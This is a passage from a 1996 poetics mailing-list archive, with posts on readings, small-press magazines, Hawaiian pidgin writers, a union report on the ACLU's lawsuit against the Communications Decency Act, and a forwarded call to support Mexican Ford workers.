Maybe not so eek, in as much as 'they' making--leastways directing-- the movie is I believe, Jane Campion, of The Piano fame.
Lets hope.
Wystan

↑ Index

100. Gabrielle Welford
peace churches
Tue 5 Mar 1996

I'm concerned about this right now because I have a small son. I'd love to know whatever I can, whatever anyone can tell about the situation now. Gab.

↑ Index

101. cris cheek
Re: Artists Statement on the Economy (long!!)
Tue 5 Mar 1996

---

etc
>
>III. CONTEMPORARY AMERICAN & GLOBAL ECONOMIC REALITIES
>
>IV. CRITIQUE OF CURRENT POLITICAL MOVEMENTS, PARTIES, PLATFORMS
>

>V. ACHIEVABLE STANDARDS FOR AMERICAN ECONOMY
>

for American substitute what? Are u really still thinking America?

love and love
cris

↑ Index

102. Kenneth Goldsmith
Re: Seals Eyes
Tue 5 Mar 1996

On Tue, 5 Mar 1996, Marisa Januzzi wrote:

> *On Sat, 2 Mar 1996, Kenneth Goldsmith wrote:*
>
> *There has been something bothering me lately. What are those black things under seals eyes--could they be hairs?*
>
> *Well, I just cannotbelieve no one's framed an authoritative response to this! I hope you've had better backchannel mssgs than this one, too.*
>
> *Anyway my guess wld be they are a formerly vestigial pathos-inducing pattern (aka "poetry")*

marissa--

gosh, nobody's replied to my query. you'd think with such a brilliant group, one of 'em would've come up with something rather poetic.

i like your idea the best so far

peace,

kenny g

↑ Index

103. Charles Watts
Re: Oppen (Rachel Blau DuPlessis' essay)
Tue 5 Mar 1996

Just to respond to Brian McHale's mention a couple of days ago of Rachel Blau DuPlessis' essay on Oppen's and Robin Blaser's work: yes, it is to be included in the collection of essays from the Blaser conference of last June, which will probably be titled "The Recovery of the Public World: Essays in Honour of Robin

Blaser's Poetry and Poetics." We don't have a publication date for it yet, but it may appear as early as the fall of this year.

On this same topic, Alan Golding: please send me a line or two backchannel re/ your paper.

Charles Watts
[redacted]

↑ Index

104. Ron Silliman
Fwd: Communications Decency Act
Tue 5 Mar 1996

Dear union members:

When we start up a newsletter, it will feature articles like the following. Until then, I'll just past them on individually...

John

John Feffer
Philadelphia sublocal of the National Writers Union
519 S. Melville St.
Philadelphia, PA 19143
[redacted]
e-mail: [redacted]

---------- Forwarded message ----------
Date: Mon, 4 Mar 1996 14:36:36 -0800 (PST)
From: Alice Sunshine <[redacted]>
To: Newsletter Editors -- Alec Dubro <[redacted]>,
BJ Novitski <[redacted]>, Bob Chatelle <[redacted]>,
Ann Cefola <[redacted]>, Cheryl Peck <[redacted]>,
[redacted], Dan McCrory <[redacted]>,
[redacted], Judy Brandes <[redacted]>,
Karen Sandrick <[redacted]>,
[redacted],
Paul Becker <[redacted]>,
Peter Friederici <[redacted]>,
Sublocal Philadelphia <[redacted]>,
Rob Ramer <[redacted]>, Susan Heinlein
<[redacted]>,
Susan Mitchell <[redacted]>
Subject: Item for Newsletters

Dear Newsletter Editors,

The following is a report on the Communications Decency Act and the ACLU lawsuit against it. The National Writers Union is a plaintiff in this suit. Bob Chatelle, who wrote the item, says you may cut it down as needed to fit into your newsletter. The entire text will appear in the

next issue of the Political Issues Newsletter, but only those who request
it receive that one.

Best to all. Alice Sunshine, NWU organizer [redacted]

*****

NWU Sues to Preserve Free Speech in Cyberspace

By Bob Chatelle, Chair, NWU Political Issues Committee

On February 8, President Bill Clinton hosted a gala televised celebration at the White House, which included a joint performance by Vice President Gore and Lily Tomlin as Ernestine. The occasion: Clinton's signing of the Telecommunications Bill, which claims to remove barriers to competition, but in fact sweeps away most remaining legal obstacles to the media oligopoly's ever expanding power.

On the same day, in Philadelphia, lawyers representing the ACLU, the National Writers Union, and 18 other plaintiffs (including the Electronic Frontier Foundation, Human Rights Watch, and Planned Parenthood) filed suit in US District Court for Eastern Pennsylvania to invalidate the provisions of part of the Telecomm bill, the so-called Communications Decency Act (CDA).

The CDA was introduced over a year ago by Sen. James Exon (D-NE). As passed, one provision imposes criminal penalties for "indecent" but constitutionally protected telecommunications to individuals under the age of 18; another criminalizes the use of any "interactive computer service" to "send" or "display in a manner available" to a person under

18 any communication that "depicts or describes, in terms patently offensive as measured by contemporary community standards, sexual or excretory activities or organs."

Another provision, added to the bill by Rep. Henry Hyde (R-IL), criminalizes the distribution or reception of any information via "any express company or other common carrier, or interactive computer service" of "information... where, how, or of whom, or by what means any" "drug,

medicine, article, or thing designed, adapted, or intended for
producing
abortion may be obtained or made."

The NWU is the only writers organization represented in the lawsuit. We were first approached by the ACLU as a possible plaintiff late in August, just a few weeks after the NWU Delegates Assembly overwhelmingly passed a resolution affirming free speech and privacy rights in cyberspace. The ACLU asked from us no commitment of financial or legal resources. A preliminary okay was given by the NWU Executive Committee, and the matter was discussed by email by the National Executive Board (NEB) in November. All NEB members supported the suit on principle, but some raised legitimate concerns whether the discovery process could require a significant amount of staff time. Fortunately, NWU staff is not much involved in our online activity and the board concluded that there was little danger of them becoming unduly burdened.

As Political Issues Chair, I signed and filed the affidavit on behalf of the NWU, but the affidavit was prepared by the ACLU and based on questionnaire answers provided by myself, NWU President Jonathan Tasini, Secretary-Treasurer Bruce Hartford, and New Technologies Cochair Vicki Richman. On February 8, Judge Ronald Buckwalter gave the Justice Department one week to respond to the complaint. The Justice Department agreed for seven days not to investigate or prosecute either the "indecency" or "patently offensive" provisions, but reserved the right ultimately to prosecute for material available during this time should our legal challenge fail. The Justice Department also conceded that the anti-abortion provision was patently unconstitutional and announced they had no intention of enforcing this provision at all.

On February 15, the Justice Department responded, claiming "the governmental interests at stake here in controlling access by minors of

indecent sexually explicit materials is compelling." To bolster their case, the government appended the widely discredited study on computer pornography by Martin Rimm. Judge Buckwalter issued a temporary restraining order against the "indecency" provisions.

The next phase of the challenge will be a hearing before a three-judge panel: Judge Buckwalter, Judge Stuart Dalzell, and Judge Delores K. Sloviter. We will present our case on March 21-22. The Justice Department will present theirs on April 11-12. April 1 is also reserved, should the extra day be needed. The government may take depositions from some plaintiffs and I may have to go to Washington DC for deposition during the week of March 11-15.

On February 26, the Justice Department agreed not to investigate or prosecute any of the CDA provisions, pending legal resolution. (Again,

should the government win, they reserve the right to prosecute retroactively material posted before the final decision.)

Also on February 26, a second lawsuit was filed challenging the CDA. The
lead plaintiff was the American Library Association, and other plaintiffs
include America Online; American Booksellers Ass'n; American Society of

newspaper Editors; Apple Computer; Ass'n of American Publishers; Ass'n of Publishers, Editors, and Writers; Compuserve; Microsoft; Netcom; Newspaper Ass'n of America; Prodigy; Society of Professional Journalists; and the Citizens Internet Empowerment Coalition. On February 27, this suit was consolidated with ours. Also on February 26, Playboy filed separate suit in Delaware against the CDA.

Regardless how the three-judge panel rules, the losing side will appeal

and the case will ultimately be decided by the US Supreme Court. _ACLU

v. Reno_ will be a landmark First Amendment case, and the outcome will determine how cyberspace evolves for decades to come. The NWU would have every reason to be proud of participating in this historic defense of free speech, even if we had not been the first writers organization to join this essential battle.

END

↑ Index

105. william elliott vidaver

Rachel Blau DuPlessis paper

Tue 5 Mar 1996

If anyone would like an audio recording of the talk Rachel Blau DuPlessis presented at The Recovery of the Public World conference/festival last year in Vancouver, please send a message with your name & address to: Aaron Vidaver c/o
[redacted]

↑ Index

106. Aldon L. Nielsen

Re: ABR

Wed 6 Mar 1996

I was off-line for a bit, so may have missed if somebody already answered our friend's question -- but in case it wasn't answered --

the _ABR_ containing Keith Tuma's review is the _American Book Review_, which name, I suppose, distinguishes it from the _North American Review_, etc.

and by the way -- now that I've seen the New Directions edition of _Black + Blues_ I see that the confusion about dates was caused by, surprise, New Directions. Though the copyright page indicates that Brathwaite's book was first published in 1976, the jacket copy says 1979 --

↑ Index

107. Aldon L. Nielsen

Re: What if they had a poetry reading and nobdoy came?

Wed 6 Mar 1996

That will select all the sixties types who remember those damned posters!

Resisters' reunion a good idea --

What was truly strange, to me at any rate, was the number of formerly antiwar folk I knew who were deliriously happy about the Persian Gulf War, as we call it here in the U.S.

My original musing came from the observation over the years that I had never once met an English professor around my age who had been drafted -- This was not because they were all actively resisting (keep in mind that student deferments continued through the mid-sixties) -- It just seemed an interesting contrast to me, and I was curious that none of the professors I mentioned this to had ever noticed the fact --

(Though let me hasten to add that there are a number of both vets. of the war and vets of the resistance I have met more recently)

The experience of the war tremendously affected the affected and the more sincere alike in academia -- look back to the rumblings in the MLA during those years for a sense of just how strong feelings were at the time -- It would be horribly reductive to do as those who claim that all post-structuralism flows from snits after Paris '68 (this usually said by thems who, unlike Bruce A., don't remember when that Johns Hopkins confab happened) -- and lay all PC wars to lingering aftereffects of agent orange and its inventors -- but there was something of the ol' epistemic break going on there --

and back to my first musing, I would moralize -- I think that those who fail to learn the lessons of job market history are doomed to force their younger colleagues to repeat them, perhaps as underpaid farce -- (sure are a lot of temporary postdocs on the scene these days,,,, huuummmm)

↑ Index

108. Ada Aharoni
Re: Veterans for Peace & GI Tract
Wed 6 Mar 1996

Hi,
If you are interested in the "Veterans for Peace" address, here it is:

Peter B. Shaw
[redacted]

They're doing a good job.

Best,
Ada Aharoni

↑ Index

109. chris daniels
Re: ossian
Wed 6 Mar 1996

> *Never mind the straw polls of form,*
> *is there any work on recent prosodies?*
> *Anybody whose music's shocking?*
>
> *March Hare*

first ---

new here, so am unaware of back-ramifications of this thread. forgive any redundancy

dear march hare

re shocking music if i may stretch the term to include play of thought and not limit myself to contemporaneity

will alexander
jake berry
paul celan
john donne
susan howe
macdiarmid

re contemp prosodics: no idea. wld truly like to know if anybody's working in that area, tho myself am strictly dumbfounded by the enormity of the task if said work even attempts inclusiveness.

later ---

chris
---
christopher daniels <[redacted]>

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

110. Gabrielle Welford
FWD: Mexican workers seeking support (fwd)
Wed 6 Mar 1996

Sending this because I think it worth knowing that workers in the low-wage countries that industries are fleeing to are beginning to protest. Gab.

---------- Forwarded message ----------

> *Mexican Ford workers solicit your support in their battle against low wages.*
>
> *1996 is a negotiations year between Ford Motor Co. and its workers in three plants; Chihuahua, Hermosillo and Cuautitlan.*
>
> *THIS IS AN ACTION CALL TO SUPPORT THEIR FIGHT AGAINST LOW WAGES*
>
> *Presently, wage negotiations are taking place in Mexico for the Chihuahua and Hermosillo plants. Cuautitlan plant negotiations are scheduled for the month of March.*
>
> *The negotiations in Chihuahua scheduled to be resolved by the end of January, concluded on Tuesday, February 27, after two extensions. while negotiations are taking place concurrently with the Hermosillo plant workers representatives.*
>
> *The negotiations for Chihuahua got idled when FORD offered a total of 15% wage increase against the workers demand of 30%.*
>
> *In the last five years, thousands of Brazilian auto workers were forced to strike twice in order to obtain higher wage increases than what FORD offered. The FORD workers in England recently came*

out of a bitter strike where the main issue was a wage increase compatible to England's current cost of living.

Labor leaders in Chihuahua say they were ready to strike if the gap did not narrow. The final compromise was of a 25% wage increase. Mexico suffers presently from a 50% average inflation rate. The price of the basic goods basket is predicted to rise by over 74%. The basic goods basket includes consumer goods and services that are all but indispensable to most of the population.

The UAW in the United States and the CAW in Canada, are scheduled to hold wage and contract negotiations with Ford and the other two auto makers this year as well.

Although Ford has increased its investment in Mexican facilities in recent years resulting in sizable profits due to cheaper cost of labor and production, it consistently follows the Mexican government austerity program by keeping wages way bellow current cost of living.

"FORD" is a four letter word: The feelings of Ford workers in several countries have been clearly expressed against their employer by rewriting the company's logo illustrating Ford's place in their communities.

Workers in Brazil rewrote the Ford logo to "FOME" which means "hunger" in portuguese, when in 1991 fought against an 11% increase proposal at a time when the country suffered an inflation rate of 1000% plus. English Ford workers have spelled out their anger by writing "F---" within the famous blue and silver oval. In the United States, Ford auto workers have qualified their company's standing in their communities by replacing "FRAUD" for the company's name. Santos Martinez, from the Cleto Nigmo Urbina committee spearheading the democratization movement in Cuautitlan/Ford, says that although they may think of stronger words, they may not fit in the small oval space, so they have to settle for FEOS or FUCHI, which means ugly and disgusting in spanish to depict the company and the labor relations atmosphere Ford has created in their plant.

As it has been expressed during the anti-NAFTA activism, the interests of the workers in the U.S. and Canada in term of better wages and job security, are directly related to those of the Mexican workers.

We ask you to Contact as many of the people listed below and insist that FORD respect the human dignity of its workers by

affording them just and fair wages.

C. T. M.
C. Fidel Velazquez, Presidente Vallarta No. 8 Mexico DF. C.P.
06030 Ph-01[redacted]

Sindicato Nacional de Trabajadores de Ford Motor Co. Seccion
Cuautitlan M. Juarez Eudonio, Sec. Gral KM. 36.5 Autopista
Queretaro- Cuautitlan, Edo de Mexico Vallarta 8 2ndo piso Mexico,
4 DF. Ph- 01[redacted]*, 7375, 7550, 7573 fx-01*[redacted]

Sindicato Nacional de Trabajadores de Ford Motor Co. Juan J.
Sosa, Sec. Gral. Ncl. Kilometro 36 1/2 Carretera Mexico-Queretaro
Col. Lomas del Salitre Cuautitlan, Ixcala Edo. de Mexico
CP. 54750
ph-01[redacted]*, 7232 fx-01*[redacted]

Alex Trotman, CEO. Ford World Headquarters The American Road PO
Box. 1899 Dearborn, MI.48121-1899 Ph-[redacted] *fx-*[redacted]

Ford Motors de Mexico Phillippe Mellier, Pres. Reforma 333 Sexto
Piso Col Cuauhtemoc Mexico, DF. 06500 Ph-01[redacted]
fx-01[redacted]

President Bill Clinton White House 1600 Pennsylvania Ave.
Washington, DC. 20500 Ph-[redacted] *Fx-*[redacted]

Lic. Ernesto Zedillo Presidente de la Republica Palacio Nacional
06067 Mexico, DF. ph-01[redacted] *fx-01*[redacted]*, 5729*
Fax confirmation numbers: 01[redacted]*, 8256*

NAFTA Officers: Robert Reich U.S. Sec. of Labor 200 Constitution
Ave. N.W. Washington, DC. 20210 Ph-[redacted] *fx-*[redacted]

Lic. Javier Bonilla Garcia Sec. Fed. de Trabajo Anillo Periferico
Sur 4271 Piso 4 Fuentes del Pedregal Delegacion Tlalpan Mexico.
14140 Ph-01[redacted] *fx-01*[redacted]

For more information contact
TIE-US.
Julio Cesar Guerrero, MSW 7435 Michigan Ave Detroit, MI. 48210 Ph
[redacted] *px*[redacted]

NOTE:

You may use this letter or write your own. Please send copies to:
TIE.US
7435 Michigan Ave, Detroit, MI. 48210 Fx-[redacted]

> *I support Ford Workers fair wages:*
>
> *Wage negotiations between Ford Motor Co. and its workers are taking place in Mexico and will take place in the US and Canada this year also.*
>
> *Despite the huge profits that Ford has accrued by increasing operations in Mexico, the company disregards the economic and most basic needs of workers by keeping their wages low.*
>
> *Ford workers in Chihuahua, Hermosillo and Cuautitlan plants more than need, deserve your support to gain the respect from their employer in the form of fair wages, hence dignity and decent living for their families.*
>
> *Recent strikes in Brazil and England over wages are a manifestation of the company's insensitivity to the problem of the real wages' actual buying power.*
>
> *I urge you to use the authority in your capacity to promote fair wages for Ford workers. It's the just thing to do!!!*

↑ Index

111. chris daniels

FW: Re: Seals Eyes

Wed 6 Mar 1996

--- On Tue, 5 Mar 1996 20:44:06 -0500 Kenneth Goldsmith <[redacted]> wrote:

>On Tue, 5 Mar 1996, Marisa Januzzi wrote:
>
>>
>> On Sat, 2 Mar 1996, Kenneth Goldsmith wrote:
>>
>> > There has been something bothering me lately. What are those black
>> > things under seals eyes--could they be hairs?
>>
>> Well, I just cannotbelieve no one's framed an authoritative response to
>> this! I hope you've had better backchannel mssgs than this one, too.
>>
>> Anyway my guess wld be they are a formerly vestigial pathos-inducing pattern
>> (aka "poetry")
>>

>
>marissa--
>
>gosh, nobody's replied to my query. you'd think with such a brilliant
>group, one of 'em would've come up with something rather poetic.
>
>i like your idea the best so far
>
>peace,
>
>kenny g
>

kenny g ---

the tear ducts of persian cats are situated at such a spot that their lacrimations leave a stain below the eyes only perceptible when the cats are white. cld be the same w/ seals. tho wldnt water wash off the stains?

specialized organs for piercing the vasty deep's primordial gloom and meditating upon submarine perseity is my guess...

yrs ---

chris

---
christopher daniels <[redacted]> 3.6.96 8:28:58 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

112. Maria Damon
Re: Fwd: Communications Decency Act
Wed 6 Mar 1996

thanks ron, as a member of the National writers' union, i am pleased that my organization is involved. i noticed that there's a judge buckwalter involved: could he be a former mr. phone-booth from boonesville?--maria d

↑ Index

113. Mark Peters
John Cage
Wed 6 Mar 1996

if anybody still has the address to order the john cage cds and other groovy music, could you please back-channel it to me?

thanks,
mark

↑ Index

114. Phillip McCrum
BOO Magazine
Fri 16 Feb 1996

now available BOO #6

Includes:
Interview with Bob Perelman

Poetry by:
Bob Perelman
Dorothy Truillo Lusk
Kevin Davies
Louis Cabri

Articles by:
Zainub Verjee
Peter Culley
Clint Burnham
Dan Farrell

Subsriptions are $6, $12(institutions)
BOO Magazine
1895 Commercial Drive, Box 116
Vancouver, B.C. V5N 4A6
CANADA

for info. contact me, Deanna Ferguson, at [redacted]

↑ Index

115. **Walter K. Lew**

Re: Pound translation

Wed 6 Mar 1996

Dear Jerry Rothenberg and others interested in the burgeoning pidgin literary scene, I wanted to add a few more names to the list of interesting Hawaiian pidgin writers that Susan Schultz gave last week. Among younger poets, R. Zamora Linmark (currently finishing up a reading tour for ROLLING THE R's--see below) and Barry Masuda (now studying in the graduate Literature program at UC San Diego) refresh/outrage Hawaiian pidgin by recombining it with other dialects and discourses, such as Masuda's cyberpunk deconstructions of both tourism and local identity movements in Hawaii and Linmark's out-there queer/Tagalog/Hollywood talk. There's a substantial sample of both poets in Premonitions: The Kaya Anthology of New Asian North American Poetry. (By the way, thank you for the positive comments on Premonitions that I have heard appeared on this elist--I think I joined too recently to catch some of them.) In the area of prose fiction, I feel one of the classic works is Milton Murayama's short novel, ALL I ASKING FOR IS MY BODY (reprinted by the U. of Hawaii Press, I believe); his long-awaited second book came out last year, but I haven't had a chance to read it. I agree with Susan Schultz about Lois-Ann Yamanaka's new prose book--it falls far short of the intensity found in her volume of poetry, SATURDAY NIGHT AT THE PAHALA THEATER (Bamboo RIdge Press, 1992). Two other new books to read instead are Kathleen Tyau's A LITTLE TOO MUCH IS ENOUGH (FSG, 1995) and especially R. Zamora Linmark's ROLLING THE R's (Kaya Production 1995). Another Hawaiian writer who sometimes uses pidgin is Gary Pak, whose collection of short stories, THE WATCHER OF WAIPUNA (Bamboo RIdge 1992), unfortunately did not get the type of mainland attention that is being showered on Yamanaka. As for the future, Linmark has the range of interests and energy to constantly experiment that will make each new work a surprise. The remaining part of RZ's tour follows; he's a good reader and will probably also talk a bit about the recent literary use of Hawaiian pidgin:

Wed, March 6th: People Like Us (Chicago, IL) @ 7pm ([redacted]) Thurs, March 7th: Northwestern University (Evanston, IL) @ 3pm Tues, March 12th: UC Berkeley Fri, March 15th: Spruce Street Forum (San Diego, CA) ([redacted]) The most comprehensive book on the literatures of Hawaii is Stephen Sumida's AND THE VIEW FROM THE SHORE (U. Washington Press 1991); he teaches in the U. of Michigan English dept. In case anyone thinks the above is shameless self-promotion, I have recently given up the chief editorship of Kaya Production.

In fact, any mail intended for me should not be sent to Kaya (it probably won't reach me), but to: 8 Old Colony Rd. Old Saybrook, CT 06475 ph & fax: [redacted]

I hope this is useful. Bye for now,

Walter K. Lew

↑ Index

116. **Chris Stroffolino**
Re: BOO Magazine
Wed 6 Mar 1996

I just got a BOO magazine published in Chicago....
perhaps this is a different one?
cs

↑ Index

117. **Chris Stroffolino**
Re: BOO Magazine
Wed 6 Mar 1996

Deanna---sorry about the confusion (mine)....
the magazine in Chicago is called BLOO not BOO...
chris

↑ Index

118. **Susan Schultz**
Re: Pound translation
Wed 6 Mar 1996

Thanks, Walter, for a fine list of writers; let me just add the names of Rodney Morales (who was just hired by the U of Hawai'i English department on tenure track--the first local writer in a permanent job). Of course we have a hiring freeze, so we can't pay him next year. His _The Speed of Darkness_ contains very strong short stories, and he's working on a novel that promises to be good. Marie Hara and Juliet Kono Lee are also good Hawai'i writers. Who is Kathleen Tyau? I haven't heard of her, strangely enough. Zack Linmark and Barry Masuda are the two writers who would most appeal to subscribers to this list, I think. Rob Wilson has done some excellent work on Hawai'i writers, too, more theoretical than Sumida. The main rap on Sumida is that he writes almost exclusively about local Asian-American writers, and not about Hawaiian writers (Hawaiian means native Hawaiian). But the book is still extremely valuable.

Susan

↑ Index

119. Kenneth Goldsmith
Jim Brodey "Heart of the Breath" Readings
Thu 7 Mar 1996

Hard Press sponsors two readings to celebrate the release of Jim Brodey's "Heart of the Breath"

East Coast

When: Wednesday March 13 at 8 pm
Where: The Poetry Project at St. Marks Church 2nd Ave. & 10th. St., NYC
[redacted]

Who:

Greg Masters
Frank Lima
Tom Savage
Joel Lewis
John Godfrey
Tony Towle
Bill Zavataky
Paul Violi
Ed Freidman
Gillian McCain
Geoffrey Young
Yuki Hartmann
Barbara Barg
Ray DiPalma
Sharon Mesmer
Steve Levine
Rod Padgett
Clark Coolidge
Charles North
David Shapiro
Lisa Jarnot
Susan Cataldo
Eileen Myles
Elio Schneeman
Michael Gizzi

Organized by Michael Gizzi, Joanne Wasserman, & Clark Coolidge

West Coast

When: Friday April 12 at 7:30 p.m
Where: The New College Theater, 777 Valencia Street, San Francisco

Who:

Bill Berkson
Tom Clark
Joanne Kyger
Larry Kearney
Robert Grenier

Joanne Kyger will play a tape of Brodey Reading

==========
==========
Kenneth Goldsmith http://wfmu.org/~kennyg
[redacted]
v. [redacted]

↑ Index

120. Jordan Davis
Poetry City Reading
Thu 7 Mar 1996

POETRY CITY reading tonight!
at Teachers & Writers Collaborative
5 Union Square West, 7th Floor

March 7 at 6:30 p.m.
Lisa Jarnot & John Godfrey

free

[redacted]
http://www.twc.org

↑ Index

121. John Cayley
New (Cybertextual) Work from Indra's Net
Thu 7 Mar 1996

** APOLOGIES FOR CROSS-POSTINGS **

Pressing the <Reveal Code> Key. Indra's Net VIII ---------- Using a development of the form initiated in Book Unbound (Indra's Net VI) this piece allows readers to create and explore collocational blends generated from an article on the relationship between software engineering and experimental poetics written for the electronic journal, EJournal, vol. 6, no. 1 ("an all-electronic, e-mail delivered, peer-reviewed, academic periodical" -- to subscribe, send 'sub ejrnl' to: [redacted]; to get vol. 6, no. 1, send 'get ejrnl v6n1' to the same address).

> *one constructs with and against and amongst the code*
> *it can be made to enrich such phenomena*
> *real inscriptions of our most intimate activities*
> *real inscriptions of our creative*
> *and destructive*
> *operations*
>
> *so either of these absent agents may be programmers*
> *systematic manipulators of text*
> *authored in the constructive act as*
> *poetry*
> *inscriptions of the code*
> *each term of the code*
> *each term of the field of writing*
>
> *press the reveal code key*

The HyperCard-based (Macintosh-only) cybertextual version of this work can be downloaded from:

http://www.demon.co.uk/eastfield/in/indown.html

Previously announced, but also new:

The Speaking Clock. Indra's Net VII ---------- ... with acknowledgements to Emmett Williams's 'Poetry Clock' and, more specifically, to John Christie's mechanical 'Word Clocks' ... however this (silent) speaking clock in software both composes from a given text according to quasi-aleatory procedures and actually tells the 'real time': "What if it was impossible to apply a single name from a finite set to a moment which seems to recur in an acknowledged cycle of time? What if it was impossible to apply the word 'dawn' to more than one single instant at the beginning of some one particular day?" (from the given text.)

> *destroyed warmth true cold*
> *spelt out and riverflow*
> *inscribed on illusion of*
> *real time passing flake*
> *of snow white to*

> *many a different instance*
>
> *even last the clock*
> *and time piece unique*
> *name the city this*
> *last even against on*
> *this island impossibly lost*
> *warmth true into would*
>
> *tells last breath out*
> *and no like more*
> *than one single instant*
> *at the beginning some*
> *one single instant at*
> *the beginning of entropy*

-- February 26, 00:49 - 01:02

The Speaking Clock can also be downloaded from the site above.

More information on the Indra's Net cybertextual project generally at:

http://www.demon.co.uk/eastfield/in/

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
Old home (still working): http://www.inforamp.net/~cayley
(Expansive) New home: http://www.demon.co.uk/eastfield/
< - - - - -

↑ Index

122. Jordan Davis
POETRY CITY book offer
Thu 7 Mar 1996

POETRY CITY, the experimental theme park,
is proud to make a special offer to poetix readers:

TWO BOOKS BY BILL LUOMA for $10 ppd

My Trip to New York City and _Swoon Rocket_,
both published by The Figures,
sell separately in stores for $11.

Just email POETRY CITY at [redacted]
and send your real-world address.
We'll send you a bill.

But hurry! quantities are limited, and when
My Trip to New York City is gone, that'll be it!

(_Swoon Rocket_ is available separately for $5 ppd
or 20% off--order now, but please, not to the list!)

Thanks,
Jordan Davis

↑ Index

123. Tony Green
Re: FW: Re: Seals Eyes
Thu 7 Mar 1996

They stay up late into the Arctic night reading Bibles written on grains of rice.

Tony Green,
e-mail: [redacted]

↑ Index

124. Aldon L. Nielsen
Re: NEW BOOK
Thu 7 Mar 1996

---

alert for all interested in Caribbean studies / postcolonial issues / cricket!

Kent Worcester's _C. L. R. James: A Political Biography_, first announced by Blakwell and now actually and finally pub'd by SUNY Press, is out and on the shelves. While it is not yet the full bio. we need, it is more detailed than Paul Buhle's book of some years back. Worcester has been working on this for a long time and has studied documents that remain unpublished even now -- Get it quick! Includes a selected biblio. on James with good annotations. An excellent starting place for those new to James's work, and good background material for those who've been reading James all along.

↑ Index

125. David Golumbia
NYC reading
Thu 7 Mar 1996

Just found this on a flyer:

Lyn Hejinian
Ron Silliman
Tuesday, March 19, 1996
8:00pm
Maison Francaise, Columbia University
Admission is free

--
[redacted]
David Golumbia

↑ Index

126. David Golumbia

ReVersing Poetics: Measure and Rhythm in the Vicinity of the Post-modern MLA 1996 Special Session

Thu 7 Mar 1996

> *Posted-Date: Thu, 7 Mar 1996 04:15:29 -0500 (EST)*
> *Date: Thu, 7 Mar 1996 01:10:50 -0800 (PST)*
> *X-Sender:* [redacted]
> *X-Mailer: Windows Eudora Version 2.1.1*
> *Mime-Version: 1.0*
> *To:* [redacted]
> *From: Joe Aimone <*[redacted]*>*
> *Subject: ReVersing Poetics: Measure and Rhythm in the Vicinity of the Postmodern MLA 1996 Special Session*
> *Sender:* [redacted]
> *Precedence: bulk*
> *Status: RO*
>
> *ReVersing Poetics: Measure and Rhythm in the Vicinity of the Postmodern. Perspectives (aesthetic, political, philosophical, psychoanalytic) on theories and practices of rhythm and meter re-erupting in recent poetry - - retroversions, recuperations, reinventions, rediscoveries. Abstracts, proposals, March 15. Joe Aimone (*[redacted]*), English, University of California, Davis, CA 95616.*
>
> *--*
> *Joe Aimone*
> *Department of English*
> *University of California, Davis*
> [redacted]

--
[redacted]
David Golumbia

↑ Index

127. Rod Smith
Re: BOO Magazine
Thu 7 Mar 1996

Deanna--
Wld you like to trade Aerial for Boo? Otherwise can you take 'merican cheques?

Thanks

Rod

↑ Index

128. Thomas Bell
dead horses, live theories, bodies trans sending academic poet/ry
Thu 7 Mar 1996

Jordan davis queried:

> *Tom, could you elaborate on your intriguing, provocative Levinas quote a bit? How is the body manifest as a contestation of the attribution of meaning? And is this contestation unique to the body? The body seems to me to ground meaning as much as defy it, and it seems to me that similar claims could be made for any phenomenon. Maybe I should just read the Levinas: feel free to tell me so.*

This says it for me:

Invocation

Some of us have spent our lifetimes
searching our bodies
for the letters of flame,
when they arise
some of us burn
and some of us set fires.

Deena Metzger, "Invocation" _A sabbath among the ruins_

Levinias quote came from latest PMC

tom

↑ Index

129. Mark Roberts
Re: ABR
Fri 8 Mar 1996

>I was off-line for a bit, so may have missed if somebody already answered
>our friend's question -- but in case it wasn't answered --
>
>the _ABR_ containing Keith Tuma's review is the _American Book Review_,
>which name, I suppose, distinguishes it from the _North American Review_,
>etc.
>
Thank you

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

130. chris daniels
help
Fri 8 Mar 1996

---

anybody out there know the word wch means:
that portion of grain wch goes to pay the miller
like tithe
saw it while reading dictionary have lost the word
thanks
chris
---
christopher daniels <[redacted]> 3.8.96 6:33:03 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

131. Walter K. Lew

Poetry City

Fri 8 Mar 1996

Dear Maria, Jordan, & others involved/interested in the 3/14 reading at Teachers & Writers Collaborative, In belated reply to Maria's question to "Wall": Yes, I will be reading selections from Premonitions, maybe talk a bit about its structure, intended role. Jordan--Is there any way a VHS deck and monitor (preferable at least 26") can be set up for the reading? I want to show some brief video poetry (e.g. Gloria Toyun Park's work; cf. pp. 172-75 "Red Lolita" excerpts). Let me know so I can prepare. Has anybody out there spent time in Montreal? I'm going up to lecture at McGill on Korean literature for a few days at the end of the month and would like to know what I can do in my spare time. Any leads on interesting cultural resources, poetic history & archives, walks, hiking trails, specialty/used book stores, bars, ethnic subcultures and neighborhoods, etc.? My reading French is passable, but my speaking/listening skills are almost non-existent. Any tips would be appreciated.

WKL

↑ Index

132. Maria Damon

msgs

Fri 8 Mar 1996

---

hi folks, i haven't gotten any POETRIX msgs for about 4 days; what's going on --has someone unsubbed me accidentally, or is something wrong w/ my mailer or
yours?
concerned,
maria d

↑ Index

133. Michael Boughn
checking
Fri 8 Mar 1996

I haven't received any mail from the poetics list for 2 days, while all other lists are coming through fine. If this gets through, would someone please let me know? Is there word of anyone else having this problem? I checked my settings at Buffalo and they are all OK.

Thanks,
Mike
[redacted]

↑ Index

134. Dan Horne
Another patois translation
Fri 8 Mar 1996

Those of you who liked the Hawaiian Creole English translation of Pound's "The Return" may also enjoy Tom Leonard's spin on WCW's "This is Just to Say." For those of you who haven't come across his work before, Leonard's a Scottish poet who usually writes in a Glaswegian patois:

Jist ti Let Yi No
(from the American of Carlos Williams)

